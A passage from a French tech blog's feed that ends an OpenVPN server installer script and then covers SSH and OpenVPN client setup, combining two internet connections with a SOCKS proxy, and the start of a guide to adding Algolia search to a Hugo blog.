	cat /etc/openvpn/server/easy-rsa/pki/ca.crt &gt;&gt; ~/$1.ovpn
	echo &#34;&lt;/ca&gt;&#34; &gt;&gt; ~/$1.ovpn
	echo &#34;&lt;cert&gt;&#34; &gt;&gt; ~/$1.ovpn
	sed -ne &#39;/BEGIN CERTIFICATE/,$ p&#39; /etc/openvpn/server/easy-rsa/pki/issued/$1.crt &gt;&gt; ~/$1.ovpn
	echo &#34;&lt;/cert&gt;&#34; &gt;&gt; ~/$1.ovpn
	echo &#34;&lt;key&gt;&#34; &gt;&gt; ~/$1.ovpn
	cat /etc/openvpn/server/easy-rsa/pki/private/$1.key &gt;&gt; ~/$1.ovpn
	echo &#34;&lt;/key&gt;&#34; &gt;&gt; ~/$1.ovpn
	echo &#34;&lt;tls-auth&gt;&#34; &gt;&gt; ~/$1.ovpn
	sed -ne &#39;/BEGIN OpenVPN Static key/,$ p&#39; /etc/openvpn/server/ta.key &gt;&gt; ~/$1.ovpn
	echo &#34;&lt;/tls-auth&gt;&#34; &gt;&gt; ~/$1.ovpn
}

if [[ -e /etc/openvpn/server/server.conf ]]; then
	while :
	do
	clear
		echo &#34;Looks like OpenVPN is already installed.&#34;
		echo
		echo &#34;What do you want to do?&#34;
		echo &#34;   1) Add a new user&#34;
		echo &#34;   2) Revoke an existing user&#34;
		echo &#34;   3) Remove OpenVPN&#34;
		echo &#34;   4) Exit&#34;
		read -p &#34;Select an option [1-4]: &#34; option
		case $option in
			1) 
			echo
			echo &#34;Tell me a name for the client certificate.&#34;
			echo &#34;Please, use one word only, no special characters.&#34;
			read -p &#34;Client name: &#34; -e CLIENT
			cd /etc/openvpn/server/easy-rsa/
			EASYRSA_CERT_EXPIRE=3650 ./easyrsa build-client-full $CLIENT nopass
			# Generates the custom client.ovpn
			newclient &#34;$CLIENT&#34;
			echo
			echo &#34;Client $CLIENT added, configuration is available at:&#34; ~/&#34;$CLIENT.ovpn&#34;
			exit
			;;
			2)
			# This option could be documented a bit better and maybe even be simplified
			# ...but what can I say, I want some sleep too
			NUMBEROFCLIENTS=$(tail -n +2 /etc/openvpn/server/easy-rsa/pki/index.txt | grep -c &#34;^V&#34;)
			if [[ &#34;$NUMBEROFCLIENTS&#34; = &#39;0&#39; ]]; then
				echo
				echo &#34;You have no existing clients!&#34;
				exit
			fi
			echo
			echo &#34;Select the existing client certificate you want to revoke:&#34;
			tail -n +2 /etc/openvpn/server/easy-rsa/pki/index.txt | grep &#34;^V&#34; | cut -d &#39;=&#39; -f 2 | nl -s &#39;) &#39;
			if [[ &#34;$NUMBEROFCLIENTS&#34; = &#39;1&#39; ]]; then
				read -p &#34;Select one client [1]: &#34; CLIENTNUMBER
			else
				read -p &#34;Select one client [1-$NUMBEROFCLIENTS]: &#34; CLIENTNUMBER
			fi
			CLIENT=$(tail -n +2 /etc/openvpn/server/easy-rsa/pki/index.txt | grep &#34;^V&#34; | cut -d &#39;=&#39; -f 2 | sed -n &#34;$CLIENTNUMBER&#34;p)
			echo
			read -p &#34;Do you really want to revoke access for client $CLIENT? [y/N]: &#34; -e REVOKE
			if [[ &#34;$REVOKE&#34; = &#39;y&#39; || &#34;$REVOKE&#34; = &#39;Y&#39; ]]; then
				cd /etc/openvpn/server/easy-rsa/
				./easyrsa --batch revoke $CLIENT
				EASYRSA_CRL_DAYS=3650 ./easyrsa gen-crl
				rm -f pki/reqs/$CLIENT.req
				rm -f pki/private/$CLIENT.key
				rm -f pki/issued/$CLIENT.crt
				rm -f /etc/openvpn/server/crl.pem
				cp /etc/openvpn/server/easy-rsa/pki/crl.pem /etc/openvpn/server/crl.pem
				# CRL is read with each client connection, when OpenVPN is dropped to nobody
				chown nobody:$GROUPNAME /etc/openvpn/server/crl.pem
				echo
				echo &#34;Certificate for client $CLIENT revoked!&#34;
			else
				echo
				echo &#34;Certificate revocation for client $CLIENT aborted!&#34;
			fi
			exit
			;;
			3) 
			echo
			read -p &#34;Do you really want to remove OpenVPN? [y/N]: &#34; -e REMOVE
			if [[ &#34;$REMOVE&#34; = &#39;y&#39; || &#34;$REMOVE&#34; = &#39;Y&#39; ]]; then
				PORT=$(grep &#39;^port &#39; /etc/openvpn/server/server.conf | cut -d &#34; &#34; -f 2)
				PROTOCOL=$(grep &#39;^proto &#39; /etc/openvpn/server/server.conf | cut -d &#34; &#34; -f 2)
				if pgrep firewalld; then
					IP=$(firewall-cmd --direct --get-rules ipv4 nat POSTROUTING | grep &#39;\-s 10.8.0.0/24 &#39;&#34;&#39;&#34;&#39;!&#39;&#34;&#39;&#34;&#39; -d 10.8.0.0/24 -j SNAT --to &#39; | cut -d &#34; &#34; -f 10)
					# Using both permanent and not permanent rules to avoid a firewalld reload.
					firewall-cmd --remove-port=$PORT/$PROTOCOL
					firewall-cmd --zone=trusted --remove-source=10.8.0.0/24
					firewall-cmd --permanent --remove-port=$PORT/$PROTOCOL
					firewall-cmd --permanent --zone=trusted --remove-source=10.8.0.0/24
					firewall-cmd --direct --remove-rule ipv4 nat POSTROUTING 0 -s 10.8.0.0/24 ! -d 10.8.0.0/24 -j SNAT --to $IP
					firewall-cmd --permanent --direct --remove-rule ipv4 nat POSTROUTING 0 -s 10.8.0.0/24 ! -d 10.8.0.0/24 -j SNAT --to $IP
				else
					systemctl disable --now openvpn-iptables.service
					rm -f /etc/systemd/system/openvpn-iptables.service
				fi
				if sestatus 2&gt;/dev/null | grep &#34;Current mode&#34; | grep -q &#34;enforcing&#34; &amp;&amp; [[ &#34;$PORT&#34; != &#39;1194&#39; ]]; then
					semanage port -d -t openvpn_port_t -p $PROTOCOL $PORT
				fi
				systemctl disable --now openvpn-server@server.service
				rm -rf /etc/openvpn/server
				rm -f /etc/sysctl.d/30-openvpn-forward.conf
				if [[ &#34;$OS&#34; = &#39;debian&#39; ]]; then
					apt-get remove --purge -y openvpn
				else
					yum remove openvpn -y
				fi
				echo
				echo &#34;OpenVPN removed!&#34;
			else
				echo
				echo &#34;Removal aborted!&#34;
			fi
			exit
			;;
			4) exit;;
		esac
	done
else
	clear
	echo &#39;Welcome to this OpenVPN &#34;road warrior&#34; installer!&#39;
	echo
	# OpenVPN setup and first user creation
	echo &#34;I need to ask you a few questions before starting the setup.&#34;
	echo &#34;You can leave the default options and just press enter if you are ok with them.&#34;
	echo
	echo &#34;First, provide the IPv4 address of the network interface you want OpenVPN&#34;
	echo &#34;listening to.&#34;
	# Autodetect IP address and pre-fill for the user
	IP=$(ip addr | grep &#39;inet&#39; | grep -v inet6 | grep -vE &#39;127\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}&#39; | grep -oE &#39;[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}&#39; | head -1)
	read -p &#34;IP address: &#34; -e -i $IP IP
	# If $IP is a private IP address, the server must be behind NAT
	if echo &#34;$IP&#34; | grep -qE &#39;^(10\.|172\.1[6789]\.|172\.2[0-9]\.|172\.3[01]\.|192\.168)&#39;; then
		echo
		echo &#34;This server is behind NAT. What is the public IPv4 address or hostname?&#34;
		read -p &#34;Public IP address / hostname: &#34; -e PUBLICIP
	fi
	echo
	echo &#34;Which protocol do you want for OpenVPN connections?&#34;
	echo &#34;   1) UDP (recommended)&#34;
	echo &#34;   2) TCP&#34;
	read -p &#34;Protocol [1-2]: &#34; -e -i 1 PROTOCOL
	case $PROTOCOL in
		1) 
		PROTOCOL=udp
		;;
		2) 
		PROTOCOL=tcp
		;;
	esac
	echo
	echo &#34;What port do you want OpenVPN listening to?&#34;
	read -p &#34;Port: &#34; -e -i 1194 PORT
	echo
	echo &#34;Which DNS do you want to use with the VPN?&#34;
	echo &#34;   1) Current system resolvers&#34;
	echo &#34;   2) 1.1.1.1&#34;
	echo &#34;   3) Google&#34;
	echo &#34;   4) OpenDNS&#34;
	echo &#34;   5) Verisign&#34;
	read -p &#34;DNS [1-5]: &#34; -e -i 1 DNS
	echo
	echo &#34;Finally, tell me your name for the client certificate.&#34;
	echo &#34;Please, use one word only, no special characters.&#34;
	read -p &#34;Client name: &#34; -e -i client CLIENT
	echo
	echo &#34;Okay, that was all I needed. We are ready to set up your OpenVPN server now.&#34;
	read -n1 -r -p &#34;Press any key to continue...&#34;
	if [[ &#34;$OS&#34; = &#39;debian&#39; ]]; then
		apt-get update
		apt-get install openvpn iptables openssl ca-certificates -y
	else
		# Else, the distro is CentOS
		yum install epel-release -y
		yum install openvpn iptables openssl ca-certificates -y
	fi
	# Get easy-rsa
	EASYRSAURL=&#39;https://github.com/OpenVPN/easy-rsa/releases/download/v3.0.5/EasyRSA-nix-3.0.5.tgz&#39;
	wget -O ~/easyrsa.tgz &#34;$EASYRSAURL&#34; 2&gt;/dev/null || curl -Lo ~/easyrsa.tgz &#34;$EASYRSAURL&#34;
	tar xzf ~/easyrsa.tgz -C ~/
	mv ~/EasyRSA-3.0.5/ /etc/openvpn/server/
	mv /etc/openvpn/server/EasyRSA-3.0.5/ /etc/openvpn/server/easy-rsa/
	chown -R root:root /etc/openvpn/server/easy-rsa/
	rm -f ~/easyrsa.tgz
	cd /etc/openvpn/server/easy-rsa/
	# Create the PKI, set up the CA and the server and client certificates
	./easyrsa init-pki
	./easyrsa --batch build-ca nopass
	EASYRSA_CERT_EXPIRE=3650 ./easyrsa build-server-full server nopass
	EASYRSA_CERT_EXPIRE=3650 ./easyrsa build-client-full $CLIENT nopass
	EASYRSA_CRL_DAYS=3650 ./easyrsa gen-crl
	# Move the stuff we need
	cp pki/ca.crt pki/private/ca.key pki/issued/server.crt pki/private/server.key pki/crl.pem /etc/openvpn/server
	# CRL is read with each client connection, when OpenVPN is dropped to nobody
	chown nobody:$GROUPNAME /etc/openvpn/server/crl.pem
	# Generate key for tls-auth
	openvpn --genkey --secret /etc/openvpn/server/ta.key
	# Create the DH parameters file using the predefined ffdhe2048 group
	echo &#39;-----BEGIN DH PARAMETERS-----
MIIBCAKCAQEA//////////+t+FRYortKmq/cViAnPTzx2LnFg84tNpWp4TZBFGQz
+8yTnc4kmz75fS/jY2MMddj2gbICrsRhetPfHtXV/WVhJDP1H18GbtCFY2VVPe0a
87VXE15/V8k1mE8McODmi3fipona8+/och3xWKE2rec1MKzKT0g6eXq8CrGCsyT7
YdEIqUuyyOP7uWrat2DX9GgdT0Kj3jlN9K5W7edjcrsZCwenyO4KbXCeAvzhzffi
7MA0BM0oNC9hkXL+nOmFg/+OTxIy7vKBg8P+OxtMb61zO7X8vC7CIAXFjvGDfRaD
ssbzSibBsu/6iGtCOGEoXJf//////////wIBAg==
-----END DH PARAMETERS-----&#39; &gt; /etc/openvpn/server/dh.pem
	# Generate server.conf
	echo &#34;port $PORT
proto $PROTOCOL
dev tun
sndbuf 0
rcvbuf 0
ca ca.crt
cert server.crt
key server.key
dh dh.pem
auth SHA512
tls-auth ta.key 0
topology subnet
server 10.8.0.0 255.255.255.0
ifconfig-pool-persist ipp.txt&#34; &gt; /etc/openvpn/server/server.conf
	echo &#39;push &#34;redirect-gateway def1 bypass-dhcp&#34;&#39; &gt;&gt; /etc/openvpn/server/server.conf
	# DNS
	case $DNS in
		1)
		# Locate the proper resolv.conf
		# Needed for systems running systemd-resolved
		if grep -q &#34;127.0.0.53&#34; &#34;/etc/resolv.conf&#34;; then
			RESOLVCONF=&#39;/run/systemd/resolve/resolv.conf&#39;
		else
			RESOLVCONF=&#39;/etc/resolv.conf&#39;
		fi
		# Obtain the resolvers from resolv.conf and use them for OpenVPN
		grep -v &#39;#&#39; $RESOLVCONF | grep &#39;nameserver&#39; | grep -E -o &#39;[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}&#39; | while read line; do
			echo &#34;push \&#34;dhcp-option DNS $line\&#34;&#34; &gt;&gt; /etc/openvpn/server/server.conf
		done
		;;
		2)
		echo &#39;push &#34;dhcp-option DNS 1.1.1.1&#34;&#39; &gt;&gt; /etc/openvpn/server/server.conf
		echo &#39;push &#34;dhcp-option DNS 1.0.0.1&#34;&#39; &gt;&gt; /etc/openvpn/server/server.conf
		;;
		3)
		echo &#39;push &#34;dhcp-option DNS 8.8.8.8&#34;&#39; &gt;&gt; /etc/openvpn/server/server.conf
		echo &#39;push &#34;dhcp-option DNS 8.8.4.4&#34;&#39; &gt;&gt; /etc/openvpn/server/server.conf
		;;
		4)
		echo &#39;push &#34;dhcp-option DNS 208.67.222.222&#34;&#39; &gt;&gt; /etc/openvpn/server/server.conf
		echo &#39;push &#34;dhcp-option DNS 208.67.220.220&#34;&#39; &gt;&gt; /etc/openvpn/server/server.conf
		;;
		5)
		echo &#39;push &#34;dhcp-option DNS 64.6.64.6&#34;&#39; &gt;&gt; /etc/openvpn/server/server.conf
		echo &#39;push &#34;dhcp-option DNS 64.6.65.6&#34;&#39; &gt;&gt; /etc/openvpn/server/server.conf
		;;
	esac
	echo &#34;keepalive 10 120
cipher AES-256-CBC
user nobody
group $GROUPNAME
persist-key
persist-tun
status openvpn-status.log
verb 3
crl-verify crl.pem&#34; &gt;&gt; /etc/openvpn/server/server.conf
	# Enable net.ipv4.ip_forward for the system
	echo &#39;net.ipv4.ip_forward=1&#39; &gt; /etc/sysctl.d/30-openvpn-forward.conf
	# Enable without waiting for a reboot or service restart
	echo 1 &gt; /proc/sys/net/ipv4/ip_forward
	if pgrep firewalld; then
		# Using both permanent and not permanent rules to avoid a firewalld
		# reload.
		# We don&#39;t use --add-service=openvpn because that would only work with
		# the default port and protocol.
		firewall-cmd --add-port=$PORT/$PROTOCOL
		firewall-cmd --zone=trusted --add-source=10.8.0.0/24
		firewall-cmd --permanent --add-port=$PORT/$PROTOCOL
		firewall-cmd --permanent --zone=trusted --add-source=10.8.0.0/24
		# Set NAT for the VPN subnet
		firewall-cmd --direct --add-rule ipv4 nat POSTROUTING 0 -s 10.8.0.0/24 ! -d 10.8.0.0/24 -j SNAT --to $IP
		firewall-cmd --permanent --direct --add-rule ipv4 nat POSTROUTING 0 -s 10.8.0.0/24 ! -d 10.8.0.0/24 -j SNAT --to $IP
	else
		# Create a service to set up persistent iptables rules
		echo &#34;[Unit]
Before=network.target
[Service]
Type=oneshot
ExecStart=/sbin/iptables -t nat -A POSTROUTING -s 10.8.0.0/24 ! -d 10.8.0.0/24 -j SNAT --to $IP
ExecStart=/sbin/iptables -I INPUT -p $PROTOCOL --dport $PORT -j ACCEPT
ExecStart=/sbin/iptables -I FORWARD -s 10.8.0.0/24 -j ACCEPT
ExecStart=/sbin/iptables -I FORWARD -m state --state RELATED,ESTABLISHED -j ACCEPT
ExecStop=/sbin/iptables -t nat -D POSTROUTING -s 10.8.0.0/24 ! -d 10.8.0.0/24 -j SNAT --to $IP
ExecStop=/sbin/iptables -D INPUT -p $PROTOCOL --dport $PORT -j ACCEPT
ExecStop=/sbin/iptables -D FORWARD -s 10.8.0.0/24 -j ACCEPT
ExecStop=/sbin/iptables -D FORWARD -m state --state RELATED,ESTABLISHED -j ACCEPT
RemainAfterExit=yes
[Install]
WantedBy=multi-user.target&#34; &gt; /etc/systemd/system/openvpn-iptables.service
		systemctl enable --now openvpn-iptables.service
	fi
	# If SELinux is enabled and a custom port was selected, we need this
	if sestatus 2&gt;/dev/null | grep &#34;Current mode&#34; | grep -q &#34;enforcing&#34; &amp;&amp; [[ &#34;$PORT&#34; != &#39;1194&#39; ]]; then
		# Install semanage if not already present
		if ! hash semanage 2&gt;/dev/null; then
			if grep -qs &#34;CentOS Linux release 7&#34; &#34;/etc/centos-release&#34;; then
				yum install policycoreutils-python -y
			else
				yum install policycoreutils-python-utils -y
			fi
		fi
		semanage port -a -t openvpn_port_t -p $PROTOCOL $PORT
	fi
	# And finally, enable and start the OpenVPN service
	systemctl enable --now openvpn-server@server.service
	# If the server is behind a NAT, use the correct IP address
	if [[ &#34;$PUBLICIP&#34; != &#34;&#34; ]]; then
		IP=$PUBLICIP
	fi
	# client-common.txt is created so we have a template to add further users later
	echo &#34;client
dev tun
proto $PROTOCOL
sndbuf 0
rcvbuf 0
remote $IP $PORT
resolv-retry infinite
nobind
persist-key
persist-tun
remote-cert-tls server
auth SHA512
cipher AES-256-CBC
setenv opt block-outside-dns
key-direction 1
verb 3&#34; &gt; /etc/openvpn/server/client-common.txt
	# Generates the custom client.ovpn
	newclient &#34;$CLIENT&#34;
	echo
	echo &#34;Finished!&#34;
	echo
	echo &#34;Your client configuration is available at:&#34; ~/&#34;$CLIENT.ovpn&#34;
	echo &#34;If you want to add more clients, you simply need to run this script again!&#34;
fi
</code></pre><br/>
<h2 id="configurer-ssh-sur-raspberry-pi-et-ubuntu-mate-facultatif">Configurer SSH sur raspberry pi et Ubuntu Mate (facultatif)</h2>
<pre tabindex="0"><code>sudo systemctl enable ssh
sudo service ssh restart

sudo dpkg-reconfigure openssh-server
</code></pre><br/>
<h2 id="configurer-un-client-openvpn">Configurer un client OpenVPN</h2>
<pre tabindex="0"><code>sudo apt-get install openvpn
sudo openvpn --config /path/to/config.ovpn
</code></pre><p>Pour rendre la connexion permanente, éditer le fichier <code>/etc/default/openvpn</code> et décommenter la ligne <code>AUTOSTART=&quot;all&quot;</code> et copier le fichier <code>.ovpn</code> comme ceci (attention à bien renommer l&rsquo;extension): <code>/etc/openvpn/config.conf</code></p>
]]></content>
        </item>
        
        <item>
            <title>Combiner plusieurs connexions internet pour booster son débit</title>
            <link>https://leandeep.com/combiner-plusieurs-connexions-internet-pour-booster-son-d%C3%A9bit/</link>
            <pubDate>Sun, 08 Mar 2020 17:49:00 +0200</pubDate>
            
            <guid>https://leandeep.com/combiner-plusieurs-connexions-internet-pour-booster-son-d%C3%A9bit/</guid>
            <description>&lt;h2 id=&#34;introduction&#34;&gt;Introduction&lt;/h2&gt;
&lt;p&gt;Dans cet article nous allons voir comment booster son débit internet entrant et sortant en combinant son forfait internet et son forfait mobile.&lt;/p&gt;
&lt;br/&gt;
&lt;h2 id=&#34;analyse-des-réseaux&#34;&gt;Analyse des réseaux&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Box ADSL&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Voici un speed test réalisé en connectant mon ordinateur à ma box internet via Wifi.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://leandeep.com/images/speedtest-box.png&#34; alt=&#34;image&#34;&gt;&lt;/p&gt;
&lt;br/&gt;
&lt;p&gt;&lt;strong&gt;4G&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Voici un speed test réalisé en connectant mon ordinateur à mon smartphone via USB.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://leandeep.com/images/speedtest-4g.png&#34; alt=&#34;image&#34;&gt;&lt;/p&gt;
&lt;br/&gt;
&lt;h2 id=&#34;configuration&#34;&gt;Configuration&lt;/h2&gt;
&lt;p&gt;Pour combiner le réseau de votre box et le réseau de votre Smartphone sur votre ordinateur, il vous faut créer un proxy socks local.&lt;/p&gt;</description>
            <content type="html"><![CDATA[<h2 id="introduction">Introduction</h2>
<p>Dans cet article nous allons voir comment booster son débit internet entrant et sortant en combinant son forfait internet et son forfait mobile.</p>
<br/>
<h2 id="analyse-des-réseaux">Analyse des réseaux</h2>
<p><strong>Box ADSL</strong></p>
<p>Voici un speed test réalisé en connectant mon ordinateur à ma box internet via Wifi.</p>
<p><img src="/images/speedtest-box.png" alt="image"></p>
<br/>
<p><strong>4G</strong></p>
<p>Voici un speed test réalisé en connectant mon ordinateur à mon smartphone via USB.</p>
<p><img src="/images/speedtest-4g.png" alt="image"></p>
<br/>
<h2 id="configuration">Configuration</h2>
<p>Pour combiner le réseau de votre box et le réseau de votre Smartphone sur votre ordinateur, il vous faut créer un proxy socks local.</p>
<p>Pour ce faire, vous pouvez utiliser un utilitaire comme <a href="https://github.com/extremecoders-re/go-dispatch-proxy">go-dispatch-proxy</a> qui agira comme proxy entre vos 2 connexions.</p>
<pre tabindex="0"><code># Lister les connexions disponibles
./go-dispatch-proxy -list

# Combiner 2 connexions
./go-dispatch-proxy ip1 ip2

# Combiner 2 connexions avec un ratio de contention
./go-dispatch-proxy ip1@2 ip2@3
</code></pre><p>Sur OSX rendez vous dans la section réseau &ndash;&gt; Avancé &ndash;&gt; Proxy et ajoutez 127.0.0.1:8080 comme proxy SOCKS.</p>
<br/>
<h2 id="résultat-box--4g">Résultat Box + 4g</h2>
<p>En plus de pouvoir observer toutes les URLs externes appelées par votre système, vous pouvez observer que votre débit internet sera plus important car il combinera vos 2 connexions.</p>
<pre tabindex="0"><code>...

[DEBUG] spclient.wg.spotify.com:443 -&gt; 192.168.42.70:0
[DEBUG] clients4.google.com:443 -&gt; 192.168.0.24:0
[DEBUG] github.com:443 -&gt; 192.168.0.24:0
[DEBUG] github.githubassets.com:443 -&gt; 192.168.42.70:0
[DEBUG] github.com:443 -&gt; 192.168.42.70:0
[DEBUG] avatars1.githubusercontent.com:443 -&gt; 192.168.0.24:0
[DEBUG] camo.githubusercontent.com:443 -&gt; 192.168.42.70:0
[DEBUG] clients1.google.com:443 -&gt; 192.168.0.24:0
[DEBUG] github.com:443 -&gt; 192.168.42.70:0
[DEBUG] github.com:443 -&gt; 192.168.42.70:0
[DEBUG] www.google-analytics.com:443 -&gt; 192.168.0.24:0
[DEBUG] github.com:443 -&gt; 192.168.42.70:0
[DEBUG] live.github.com:443 -&gt; 192.168.0.24:0
[DEBUG] collector.githubapp.com:443 -&gt; 192.168.42.70:0
[DEBUG] api.github.com:443 -&gt; 192.168.42.70:0
[DEBUG] secure-us.imrworldwide.com:443 -&gt; 192.168.42.70:0
[DEBUG] aax.amazon-adsystem.com:443 -&gt; 192.168.0.24:0
...
</code></pre><p><img src="/images/speedtest-box-4g.png" alt="image"></p>
]]></content>
        </item>
        
        <item>
            <title>Installer une barre de recherche Algolia sur son blog</title>
            <link>https://leandeep.com/installer-une-barre-de-recherche-algolia-sur-son-blog/</link>
            <pubDate>Sun, 01 Mar 2020 19:49:00 +0200</pubDate>
            
            <guid>https://leandeep.com/installer-une-barre-de-recherche-algolia-sur-son-blog/</guid>
            <description>&lt;h2 id=&#34;introduction&#34;&gt;Introduction&lt;/h2&gt;
&lt;p&gt;L&amp;rsquo;objectif de cet article est de voir comment installer un moteur de recherche &lt;a href=&#34;https://www.algolia.com/&#34;&gt;Algolia&lt;/a&gt; sur son blog Hugo pour pouvoir rechercher n&amp;rsquo;importe quel contenu.&lt;/p&gt;
&lt;p&gt;Le résultat final sur mon blog:&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://leandeep.com/images/algolia1.png&#34; alt=&#34;image&#34;&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://leandeep.com/images/algolia2.png&#34; alt=&#34;image&#34;&gt;&lt;/p&gt;
&lt;br/&gt;
&lt;h2 id=&#34;création-de-compte-algolia&#34;&gt;Création de compte Algolia&lt;/h2&gt;
&lt;p&gt;La première chose à faire est de créer un compte Algolia.&lt;/p&gt;
&lt;p&gt;Vous pouvez souscrire à un plan community. Cela vous permettra de créer une barre de recherche gratuitement.&lt;/p&gt;
&lt;p&gt;Créer une application.&lt;/p&gt;
&lt;p&gt;Créer ensuite un indice. Un indice peut contenir un ou plusieurs indexes.&lt;/p&gt;</description>
            <content type="html"><![CDATA[<h2 id="introduction">Introduction</h2>
<p>L&rsquo;objectif de cet article est de voir comment installer un moteur de recherche <a href="https://www.algolia.com/">Algolia</a> sur son blog Hugo pour pouvoir rechercher n&rsquo;importe quel contenu.</p>
<p>Le résultat final sur mon blog:</p>
<p><img src="/images/algolia1.png" alt="image"></p>
<p><img src="/images/algolia2.png" alt="image"></p>
<br/>
<h2 id="création-de-compte-algolia">Création de compte Algolia</h2>
<p>La première chose à faire est de créer un compte Algolia.</p>
<p>Vous pouvez souscrire à un plan community. Cela vous permettra de créer une barre de recherche gratuitement.</p>
<p>Créer une application.</p>
<p>Créer ensuite un indice. Un indice peut contenir un ou plusieurs indexes.</p>
<p>Enfin créer un index.</p>
<p>Dans l&rsquo;onglet API Keys, récupérez l&rsquo;<code>Application ID</code> et l&rsquo;<code>Admin API Key</code>.</p>
<br/>
<h2 id="indexation-du-contenu-du-blog">Indexation du contenu du blog</h2>
<p>Nous allons utiliser une librairie NodeJS appelée <code>atomic-algolia</code> permettant de générer et d&rsquo;envoyer des indices Hugo sur Algolia.</p>
<p>Voici donc les commandes à exécuter dans le dossier racine de votre blog Hugo:</p>
<pre tabindex="0"><code>npm install atomic-algolia --save
npm init
</code></pre><p>Ajouter la ligne suivante dans la section <code>scripts</code> du fichier <code>package.json</code>:</p>
<pre tabindex="0"><code>&#34;algolia&#34;: &#34;atomic-algolia&#34;
</code></pre><p>Créer un fichier <code>.env</code> et renseigner les variables d&rsquo;environnement suivantes:</p>
<pre tabindex="0"><code>ALGOLIA_APP_ID=YOUR_APPLICATION_ID
ALGOLIA_ADMIN_KEY=YOUR_ADMIN_API_KEY
ALGOLIA_INDEX_NAME=YOUR_INDEX_NAME
ALGOLIA_INDEX_FILE=public/algolia.json
</code></pre><p>Générer le fichier json d&rsquo;indexation de contenu de votre blog et envoyer le sur Algolia:</p>
<pre tabindex="0"><code>npm run algolia
</code></pre><br/>
<h2 id="création-de-la-barre-de-recherche">Création de la barre de recherche</h2>
<p>Nous allons maintenant voir comment ajouter une barre de recherche sur son site.</p>
<p>Voici le code source de la barre de recherche sur mon site:</p>
<pre tabindex="0"><code>&lt;link href=&#34;https://fonts.googleapis.com/icon?family=Material+Icons&#34; rel=&#34;stylesheet&#34;&gt;
&lt;script src=&#34;https://cdnjs.cloudflare.com/ajax/libs/jquery/3.1.0/jquery.min.js&#34;&gt;&lt;/script&gt;
&lt;script src=&#34;https://cdn.jsdelivr.net/instantsearch.js/1/instantsearch.min.js&#34;&gt;&lt;/script&gt;

&lt;style&gt;

.nav-search {
  -webkit-flex-grow: 1;
  -ms-flex-positive: 1;
  position: relative;
  width: 90%;
  height: 47px;
  margin-top: 20px; 
  background-color: white;
  z-index: 1000;
}

.nav-search.active {
  box-shadow: 0 4px 4px rgba(79, 79, 79, 0.21);
}
.nav-search.active .search-dropdown {
  display: block;
}

.nav-search.active .search-input {
  -webkit-animation: expand-search-box-animation 0.5s forwards;
  animation: expand-search-box-animation 0.5s forwards;
}

.nav-search.active .search-input input {
  border-width: 2px;
}

.nav-search.active .search-input .close-search {
  display: inline-block;
}

.nav-search.active .search-input .search-dropdown {
  display: block;
}

.nav-search .search-input {
  transition: left 0.2s ease-in-out;
  transition: width 0s ease-in-out;
}

.nav-search .search-input .search-icon {
  position: absolute;
  left: 15px;
  top: 13px;
  z-index: 999;
  color: black;
}

.nav-search .search-input input {
  font: 16px/1.875 &#34;Avenir Next W01&#34;, &#34;Avenir Next&#34;, &#34;Helvetica Neue&#34;, Helvetica, sans-serif;
  height: 50px;
  border: 1px solid #1b98f4;
  border-radius: 4px;
  min-width: 200px;
  width: 100%;
  padding-left: 50px;
  background-color: white;
}

.nav-search .search-input input:focus {
  outline: none;
}

.nav-search .search-input i.close-search {
  color: #1b98f4;
  display: none;
  position: absolute;
  right: 15px;
  top: 13px;
  cursor: pointer;
}

.search-dropdown {
  box-sizing: border-box;
  color: #B3B3B3;
  font: 14px/1.875 &#34;Avenir Next W01&#34;, &#34;Avenir Next&#34;, &#34;Helvetica Neue&#34;, Helvetica, sans-serif;
  opacity: 1.00;
  padding: 20px;
  width: 100%;
  -webkit-animation: expand-search-dropdown-animation 0.5s forwards;
  animation: expand-search-dropdown-animation 0.5s forwards;
  overflow-y: scroll;
  max-height: 400px;
  border-radius: 0 0 4px 4px;
  background-color: #FCFCFC;
  border: 1px solid #E0E0E0;
  box-shadow: 1px 3px 4px rgba(0, 0, 0, 0.09);
  display: none;
  background-color: white;
}

.search-dropdown .small {
  -webkit-flex-basis: 35%;
  -ms-flex-preferred-size: 35%;
  flex-basis: 35%;
}

.search-dropdown .search-section .hits-blank {
  color: #666;
  text-align: center;
  padding-top: 20px;
}

.search-dropdown a {
  text-decoration: none;
  color: inherit;
  z-index: 2000;
}

.hit {
  border-bottom: 1px solid #E6E6E6;
  margin-bottom: 20px;
}

.hit .hit-title {
  color: #1b98f4;
  font-family: &#39;bt_mono&#39;, monospace;
  font-weight: 500;
  margin-bottom: 0;
  margin-top: 0;
  display: inline-block;
  font-size: 14px;
}
.hit .hit-description {
  text-decoration: none;
  color: black;
  font-size: 14px;
  display: block;
  margin-top: 3px;
}
.hit .hit-anchor {
  font-size: 13px;
  color: #666;
}
.hit .algolia-docsearch-suggestion--highlight {
  background-color: #FFE9A4;
}

.ais-hits--item:last-child .hit {
  border: 0;
}

&lt;/style&gt;

&lt;script&gt;

    $(function() {

        $(&#39;#search-input&#39;).on(&#39;keyup&#39;, function() {
            $(&#39;.nav-search&#39;).addClass(&#39;active&#39;);
            $(&#39;#hits-container&#39;).scrollTop(0);
        })

        $(&#39;.close-search&#39;).on(&#39;click&#39;, function(evt) {
            evt.preventDefault();
            $(&#39;#search-input&#39;).val(&#39;&#39;);
            $(&#39;.nav-search&#39;).removeClass(&#39;active&#39;);
        })

        $(&#39;#search-input&#39;).on(&#39;blur&#39;, function(evt) {
            if(!evt.isDefaultPrevented) {
                $(&#39;.nav-search&#39;).removeClass(&#39;active&#39;);
            }
        })

        
        let search = instantsearch({
            appId: &#39;YOUR_APPLICATION_ID&#39;,
            apiKey: &#39;YOUR_READONLY_API_KEY&#39;,
            indexName: &#39;YOUR_SEARCH_INDEX&#39;,
            searchParameters: {replaceSynonymsInHighlight: false},
            searchFunction: function(helper) {
                var searchResults = $(&#39;.search-results&#39;);
                if (helper.state.query === &#39;&#39;) {
                    searchResults.hide();
                    return;
                }
                helper.search();
                searchResults.show();
            }
        });

        // add a searchBox widget
        search.addWidget(
            instantsearch.widgets.searchBox({
